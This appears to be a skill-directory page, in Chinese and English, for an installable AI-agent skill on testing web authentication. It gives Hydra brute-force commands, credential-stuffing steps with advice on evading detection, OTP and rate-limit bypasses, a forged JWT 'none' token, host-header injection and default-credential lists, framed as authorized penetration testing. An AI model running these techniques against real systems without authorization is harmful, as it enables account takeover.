Web应用身份认证与会话管理漏洞测试指南 | OWASP Top 10 安全测试技能

Broken Authentication Testing by automindtechnologie-jpg/ultimate-skill.md

GitHub

安装命令

npx skills add https://github.com/automindtechnologie-jpg/ultimate-skill.md --skill 'Broken Authentication Testing'

Web应用测试安全

🇨🇳中文介绍

失效的身份认证测试

目的

识别并利用 Web 应用程序中的身份认证和会话管理漏洞。失效的身份认证在 OWASP Top 10 中持续名列前茅，可能导致账户接管、身份盗窃以及对敏感系统的未授权访问。本技能涵盖密码策略、会话处理、多因素认证和凭据管理的测试方法。

先决条件

必备知识

HTTP 协议和会话机制
认证类型（SFA、2FA、MFA）
Cookie 和令牌处理
常见的身份认证框架

必备工具

Burp Suite Professional 或 Community 版
Hydra 或类似的暴力破解工具
用于凭据测试的自定义字典
浏览器开发者工具

必备访问权限

目标应用程序 URL
测试账户凭据
进行测试的书面授权

输出与交付物

身份认证评估报告 - 记录所有已识别的漏洞
凭据测试结果 - 暴力破解和字典攻击的结果
会话安全分析 - 令牌随机性和超时评估
修复建议 - 安全加固指南

核心工作流程

阶段 1：身份认证机制分析

理解应用程序的身份认证架构：

# 识别认证类型
- 基于密码的（表单、基本认证、摘要认证）
- 基于令牌的（JWT、OAuth、API 密钥）
- 基于证书的（双向 TLS）
- 多因素的（短信、TOTP、硬件令牌）

# 映射认证端点
/login, /signin, /authenticate
/register, /signup
/forgot-password, /reset-password
/logout, /signout
/api/auth/*, /oauth/*

捕获并分析身份认证请求：

POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

username=test&password=test123

阶段 2：密码策略测试

评估密码要求和执行情况：

# 测试最小长度（a, ab, abcdefgh）
# 测试复杂度（password, password1, Password1!）
# 测试常见弱密码（123456, password, qwerty, admin）
# 测试用户名作为密码（admin/admin, test/test）

记录策略缺陷：最小长度 <8、无复杂度要求、允许常见密码、用户名可作为密码。

阶段 3：凭据枚举

测试用户名枚举漏洞：

# 比较有效用户名和无效用户名的响应
# 无效："Invalid username" vs 有效："Invalid password"
# 检查时间差异、响应码、注册消息

密码重置

"如果账户存在，邮件已发送"（安全） "没有该邮箱的账户"（信息泄露）

API 响应

{"error": "user_not_found"} {"error": "invalid_password"}

阶段 4：暴力破解测试

测试账户锁定和速率限制：

# 使用 Hydra 进行基于表单的认证测试
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  target.com http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials"

# 使用 Burp Intruder
1. 捕获登录请求
2. 发送到 Intruder
3. 在密码字段设置有效载荷位置
4. 加载字典
5. 开始攻击
6. 分析响应长度/状态码

检查防护措施：

# 账户锁定
- 多少次尝试后锁定？
- 锁定持续时间？
- 锁定通知？

# 速率限制
- 每分钟请求限制？
- 基于 IP 还是基于账户？
- 能否通过标头绕过（X-Forwarded-For）？

# 验证码
- 失败尝试后出现？
- 是否容易绕过？

阶段 5：凭据填充

使用已知泄露的凭据进行测试：

# 凭据填充与暴力破解不同
# 使用泄露事件中已知的邮箱:密码对

# 使用 Burp Intruder 进行 Pitchfork 攻击
1. 将用户名和密码设置为有效载荷位置
2. 加载邮箱列表作为有效载荷 1
3. 加载密码列表作为有效载荷 2（匹配的对）
4. 分析成功的登录

# 检测规避
- 降低请求速率
- 轮换源 IP
- 随机化用户代理
- 在尝试之间添加延迟

阶段 6：会话管理测试

分析会话令牌安全性：

# 捕获会话 Cookie
Cookie: SESSIONID=abc123def456

# 测试令牌特性
1. 熵值 - 是否足够随机？
2. 长度 - 长度是否足够（128+ 位）？
3. 可预测性 - 是否存在顺序模式？
4. 安全标志 - HttpOnly、Secure、SameSite？

会话令牌分析：

#!/usr/bin/env python3
import requests
import hashlib

# 收集多个会话令牌
tokens = []
for i in range(100):
    response = requests.get("https://target.com/login")
    token = response.cookies.get("SESSIONID")
    tokens.append(token)

# 分析模式
# 检查顺序递增
# 计算熵值
# 查找时间戳组件

阶段 7：会话固定测试

测试认证后会话是否重新生成：

# 步骤 1：登录前获取会话
GET /login HTTP/1.1
Response: Set-Cookie: SESSIONID=abc123

# 步骤 2：使用相同会话登录
POST /login HTTP/1.1
Cookie: SESSIONID=abc123
username=valid&password=valid

# 步骤 3：检查会话是否改变
# 如果 SESSIONID 仍为 abc123，则存在漏洞
# 如果登录后分配了新会话，则是安全的

攻击场景：

# 攻击者工作流程：
1. 攻击者访问站点，获取会话：SESSIONID=attacker_session
2. 攻击者向受害者发送带有固定会话的链接：
   https://target.com/login?SESSIONID=attacker_session
3. 受害者使用攻击者的会话登录
4. 攻击者现在拥有经过认证的会话

阶段 8：会话超时测试

验证会话过期策略：

# 测试空闲超时
1. 登录并记录会话 Cookie
2. 等待而不进行任何活动（15、30、60 分钟）
3. 尝试使用会话
4. 检查会话是否仍然有效

# 测试绝对超时
1. 登录并持续使用会话
2. 检查在设定时间后（8 小时、24 小时）是否强制登出

# 测试登出功能
1. 登录并记录会话
2. 点击登出
3. 尝试重用旧的会话 Cookie
4. 会话应在服务器端失效

阶段 9：多因素认证测试

评估 MFA 实现的安全性：

# OTP 暴力破解
- 4 位 OTP = 10,000 种组合
- 6 位 OTP = 1,000,000 种组合
- 测试 OTP 端点的速率限制

# OTP 绕过技术
- 通过直接 URL 访问跳过 MFA 步骤
- 修改响应以指示 MFA 已通过
- 提交空/无效 OTP
- 重用先前有效的 OTP

# API 版本降级攻击（crAPI 示例）
# 如果 /api/v3/check-otp 有速率限制，尝试旧版本：
POST /api/v2/check-otp
{"otp": "1234"}
# 较旧的 API 版本可能缺少安全控制

# 使用 Burp 进行 OTP 测试
1. 捕获 OTP 验证请求
2. 发送到 Intruder
3. 将 OTP 字段设置为有效载荷位置
4. 使用数字有效载荷（0000-9999）
5. 检查是否成功绕过

测试 MFA 注册：

# 强制注册
- 在设置过程中是否可以跳过 MFA？
- 是否可以在没有验证的情况下访问备份代码？

# 恢复过程
- 是否可以仅通过电子邮件禁用 MFA？
- 社会工程学可能性？

阶段 10：密码重置测试

分析密码重置安全性：

# 令牌安全性
1. 请求密码重置
2. 捕获重置链接
3. 分析令牌：
   - 长度和随机性
   - 过期时间
   - 单次使用执行
   - 账户绑定

# 令牌操纵
https://target.com/reset?token=abc123&user=victim
# 尝试在使用有效令牌时更改用户参数

# 主机标头注入
POST /forgot-password HTTP/1.1
Host: attacker.com
email=victim@email.com
# 重置邮件可能包含攻击者的域名

快速参考

常见漏洞类型

漏洞	风险	测试方法
弱密码	高	策略测试、字典攻击
无锁定机制	高	暴力破解测试
用户名枚举	中	差异响应分析
会话固定	高	登录前后会话比较
弱会话令牌	高	熵值分析
无会话超时	中	长时间会话测试
不安全的密码重置	高	令牌分析、工作流程绕过
MFA 绕过	严重	直接访问、响应操纵

凭据测试有效载荷

# 默认凭据
admin:admin
admin:password
admin:123456
root:root
test:test
user:user

# 常见密码
123456
password
12345678
qwerty
abc123
password1
admin123

# 泄露凭据数据库
- Have I Been Pwned 数据集
- SecLists 密码列表
- 自定义目标列表

会话 Cookie 标志

标志	目的	缺失时的漏洞
HttpOnly	防止 JS 访问	XSS 可窃取会话
Secure	仅限 HTTPS	通过 HTTP 发送
SameSite	CSRF 防护	允许跨站请求
Path	URL 范围	暴露范围更广
Domain	域名范围	子域名访问
Expires	生命周期	持久会话

速率限制绕过标头

X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
True-Client-IP: 127.0.0.1

约束与限制

法律要求

仅在有明确书面授权的情况下进行测试
避免使用真实的泄露凭据进行测试
不要访问实际的用户账户
记录所有测试活动

技术限制

验证码可能阻止自动化测试
速率限制影响暴力破解时间
MFA 显著增加攻击难度
某些漏洞需要受害者交互

范围考量

测试账户的行为可能与生产环境不同
某些功能在测试环境中可能被禁用
第三方身份认证可能超出范围
生产环境测试需要格外谨慎

示例

示例 1：账户锁定绕过

场景： 测试是否可以绕过账户锁定

# 步骤 1：识别锁定阈值
# 为 admin 账户尝试 5 次错误密码
# 结果："账户锁定 30 分钟"

# 步骤 2：通过 IP 轮换测试绕过
# 使用 X-Forwarded-For 标头
POST /login HTTP/1.1
X-Forwarded-For: 192.168.1.1
username=admin&password=attempt1

# 每次尝试递增 IP
X-Forwarded-For: 192.168.1.2
# 继续直到成功或确认被阻止

# 步骤 3：通过大小写操作测试绕过
username=Admin (对比 admin)
username=ADMIN
# 某些系统将这些视为不同的账户

示例 2：JWT 令牌攻击

场景： 利用弱 JWT 实现

# 步骤 1：捕获 JWT 令牌
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCJ9.signature

# 步骤 2：解码并分析
# 标头：{"alg":"HS256","typ":"JWT"}
# 载荷：{"user":"test","role":"user"}

# 步骤 3：尝试 "none" 算法攻击
# 将标头更改为：{"alg":"none","typ":"JWT"}
# 移除签名
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.

# 步骤 4：提交修改后的令牌
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.

示例 3：密码重置令牌利用

场景： 测试密码重置功能

# 步骤 1：为测试账户请求重置
POST /forgot-password
email=test@example.com

# 步骤 2：捕获重置链接
https://target.com/reset?token=a1b2c3d4e5f6

# 步骤 3：测试令牌属性
# 重用：尝试使用同一令牌两次
# 过期：等待 24+ 小时重试
# 修改：更改令牌中的字符

# 步骤 4：测试用户参数操纵
https://target.com/reset?token=a1b2c3d4e5f6&email=admin@example.com
# 检查是否可以使用测试用户的令牌重置管理员密码

故障排除

问题	解决方案
暴力破解太慢	识别速率限制范围；IP 轮换；添加延迟；使用有针对性的字典
会话分析不确定	收集 1000+ 个令牌；使用统计工具；检查时间戳；比较账户
MFA 无法绕过	记录为安全；测试备份/恢复机制；检查 MFA 疲劳；验证注册
账户锁定阻止测试	请求多个测试账户；先测试阈值；使用更慢的计时

每周安装

仓库

automindtechnol…skill.md

首次出现

1970年1月1日

安全审计

Gen Agent Trust HubPass SocketPass SnykFail

🇺🇸English

Broken Authentication Testing

Purpose

Identify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems. This skill covers testing methodologies for password policies, session handling, multi-factor authentication, and credential management.

Prerequisites

Required Knowledge

HTTP protocol and session mechanisms
Authentication types (SFA, 2FA, MFA)
Cookie and token handling
Common authentication frameworks

Required Tools

Burp Suite Professional or Community
Hydra or similar brute-force tools
Custom wordlists for credential testing
Browser developer tools

Required Access

Target application URL
Test account credentials
Written authorization for testing

Outputs and Deliverables

Authentication Assessment Report - Document all identified vulnerabilities
Credential Testing Results - Brute-force and dictionary attack outcomes
Session Security Analysis - Token randomness and timeout evaluation
Remediation Recommendations - Security hardening guidance

Core Workflow

Phase 1: Authentication Mechanism Analysis

广告位招租

在这里展示您的产品或服务

触达数万 AI 开发者，精准高效

联系我们

Phase 2: Password Policy Testing

Evaluate password requirements and enforcement:

# Test minimum length (a, ab, abcdefgh)
# Test complexity (password, password1, Password1!)
# Test common weak passwords (123456, password, qwerty, admin)
# Test username as password (admin/admin, test/test)

Document policy gaps: Minimum length <8, no complexity, common passwords allowed, username as password.

Phase 3: Credential Enumeration

Test for username enumeration vulnerabilities:

# Compare responses for valid vs invalid usernames
# Invalid: "Invalid username" vs Valid: "Invalid password"
# Check timing differences, response codes, registration messages

"Email sent if account exists" (secure) "No account with that email" (leaks info)

{"error": "user_not_found"} {"error": "invalid_password"}

### Phase 4: Brute Force Testing

Test account lockout and rate limiting:

```bash
# Using Hydra for form-based auth
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  target.com http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials"

# Using Burp Intruder
1. Capture login request
2. Send to Intruder
3. Set payload positions on password field
4. Load wordlist
5. Start attack
6. Analyze response lengths/codes

Check for protections:

# Account lockout
- After how many attempts?
- Duration of lockout?
- Lockout notification?

# Rate limiting
- Requests per minute limit?
- IP-based or account-based?
- Bypass via headers (X-Forwarded-For)?

# CAPTCHA
- After failed attempts?
- Easily bypassable?

Phase 5: Credential Stuffing

Test with known breached credentials:

# Credential stuffing differs from brute force
# Uses known email:password pairs from breaches

# Using Burp Intruder with Pitchfork attack
1. Set username and password as positions
2. Load email list as payload 1
3. Load password list as payload 2 (matched pairs)
4. Analyze for successful logins

# Detection evasion
- Slow request rate
- Rotate source IPs
- Randomize user agents
- Add delays between attempts

Phase 6: Session Management Testing

Analyze session token security:

# Capture session cookie
Cookie: SESSIONID=abc123def456

# Test token characteristics
1. Entropy - Is it random enough?
2. Length - Sufficient length (128+ bits)?
3. Predictability - Sequential patterns?
4. Secure flags - HttpOnly, Secure, SameSite?

Session token analysis:

#!/usr/bin/env python3
import requests
import hashlib

# Collect multiple session tokens
tokens = []
for i in range(100):
    response = requests.get("https://target.com/login")
    token = response.cookies.get("SESSIONID")
    tokens.append(token)

# Analyze for patterns
# Check for sequential increments
# Calculate entropy
# Look for timestamp components

Phase 7: Session Fixation Testing

Test if session is regenerated after authentication:

# Step 1: Get session before login
GET /login HTTP/1.1
Response: Set-Cookie: SESSIONID=abc123

# Step 2: Login with same session
POST /login HTTP/1.1
Cookie: SESSIONID=abc123
username=valid&password=valid

# Step 3: Check if session changed
# VULNERABLE if SESSIONID remains abc123
# SECURE if new session assigned after login

# Attacker workflow:
1. Attacker visits site, gets session: SESSIONID=attacker_session
2. Attacker sends link to victim with fixed session:
   https://target.com/login?SESSIONID=attacker_session
3. Victim logs in with attacker's session
4. Attacker now has authenticated session

Phase 8: Session Timeout Testing

Verify session expiration policies:

# Test idle timeout
1. Login and note session cookie
2. Wait without activity (15, 30, 60 minutes)
3. Attempt to use session
4. Check if session is still valid

# Test absolute timeout
1. Login and continuously use session
2. Check if forced logout after set period (8 hours, 24 hours)

# Test logout functionality
1. Login and note session
2. Click logout
3. Attempt to reuse old session cookie
4. Session should be invalidated server-side

Phase 9: Multi-Factor Authentication Testing

Assess MFA implementation security:

# OTP brute force
- 4-digit OTP = 10,000 combinations
- 6-digit OTP = 1,000,000 combinations
- Test rate limiting on OTP endpoint

# OTP bypass techniques
- Skip MFA step by direct URL access
- Modify response to indicate MFA passed
- Null/empty OTP submission
- Previous valid OTP reuse

# API Version Downgrade Attack (crAPI example)
# If /api/v3/check-otp has rate limiting, try older versions:
POST /api/v2/check-otp
{"otp": "1234"}
# Older API versions may lack security controls

# Using Burp for OTP testing
1. Capture OTP verification request
2. Send to Intruder
3. Set OTP field as payload position
4. Use numbers payload (0000-9999)
5. Check for successful bypass

Test MFA enrollment:

# Forced enrollment
- Can MFA be skipped during setup?
- Can backup codes be accessed without verification?

# Recovery process
- Can MFA be disabled via email alone?
- Social engineering potential?

Phase 10: Password Reset Testing

Analyze password reset security:

# Token security
1. Request password reset
2. Capture reset link
3. Analyze token:
   - Length and randomness
   - Expiration time
   - Single-use enforcement
   - Account binding

# Token manipulation
https://target.com/reset?token=abc123&user=victim
# Try changing user parameter while using valid token

# Host header injection
POST /forgot-password HTTP/1.1
Host: attacker.com
email=victim@email.com
# Reset email may contain attacker's domain

Common Vulnerability Types

Vulnerability	Risk	Test Method
Weak passwords	High	Policy testing, dictionary attack
No lockout	High	Brute force testing
Username enumeration	Medium	Differential response analysis
Session fixation	High	Pre/post-login session comparison
Weak session tokens	High	Entropy analysis
No session timeout	Medium	Long-duration session testing
Insecure password reset	High	Token analysis, workflow bypass
MFA bypass	Critical	Direct access, response manipulation

Credential Testing Payloads

# Default credentials
admin:admin
admin:password
admin:123456
root:root
test:test
user:user

# Common passwords
123456
password
12345678
qwerty
abc123
password1
admin123

# Breached credential databases
- Have I Been Pwned dataset
- SecLists passwords
- Custom targeted lists

Session Cookie Flags

Flag	Purpose	Vulnerability if Missing
HttpOnly	Prevent JS access	XSS can steal session
Secure	HTTPS only	Sent over HTTP
SameSite	CSRF protection	Cross-site requests allowed
Path	URL scope	Broader exposure
Domain	Domain scope	Subdomain access
Expires	Lifetime	Persistent sessions

Rate Limiting Bypass Headers

X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
True-Client-IP: 127.0.0.1

Constraints and Limitations

Only test with explicit written authorization
Avoid testing with real breached credentials
Do not access actual user accounts
Document all testing activities

Technical Limitations

CAPTCHA may prevent automated testing
Rate limiting affects brute force timing
MFA significantly increases attack difficulty
Some vulnerabilities require victim interaction

Scope Considerations

Test accounts may behave differently than production
Some features may be disabled in test environments
Third-party authentication may be out of scope
Production testing requires extra caution

Example 1: Account Lockout Bypass

Scenario: Test if account lockout can be bypassed

# Step 1: Identify lockout threshold
# Try 5 wrong passwords for admin account
# Result: "Account locked for 30 minutes"

# Step 2: Test bypass via IP rotation
# Use X-Forwarded-For header
POST /login HTTP/1.1
X-Forwarded-For: 192.168.1.1
username=admin&password=attempt1

# Increment IP for each attempt
X-Forwarded-For: 192.168.1.2
# Continue until successful or confirmed blocked

# Step 3: Test bypass via case manipulation
username=Admin (vs admin)
username=ADMIN
# Some systems treat these as different accounts

Example 2: JWT Token Attack

Scenario: Exploit weak JWT implementation

# Step 1: Capture JWT token
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCJ9.signature

# Step 2: Decode and analyze
# Header: {"alg":"HS256","typ":"JWT"}
# Payload: {"user":"test","role":"user"}

# Step 3: Try "none" algorithm attack
# Change header to: {"alg":"none","typ":"JWT"}
# Remove signature
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.

# Step 4: Submit modified token
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.

Example 3: Password Reset Token Exploitation

Scenario: Test password reset functionality

# Step 1: Request reset for test account
POST /forgot-password
email=test@example.com

# Step 2: Capture reset link
https://target.com/reset?token=a1b2c3d4e5f6

# Step 3: Test token properties
# Reuse: Try using same token twice
# Expiration: Wait 24+ hours and retry
# Modification: Change characters in token

# Step 4: Test for user parameter manipulation
https://target.com/reset?token=a1b2c3d4e5f6&email=admin@example.com
# Check if admin's password can be reset with test user's token

Issue	Solutions
Brute force too slow	Identify rate limit scope; IP rotation; add delays; use targeted wordlists
Session analysis inconclusive	Collect 1000+ tokens; use statistical tools; check for timestamps; compare accounts
MFA cannot be bypassed	Document as secure; test backup/recovery mechanisms; check MFA fatigue; verify enrollment
Account lockout prevents testing	Request multiple test accounts; test threshold first; use slower timing

xdrop 文件传输脚本：Bun 环境下安全上传下载工具，支持加密分享

24,700 周安装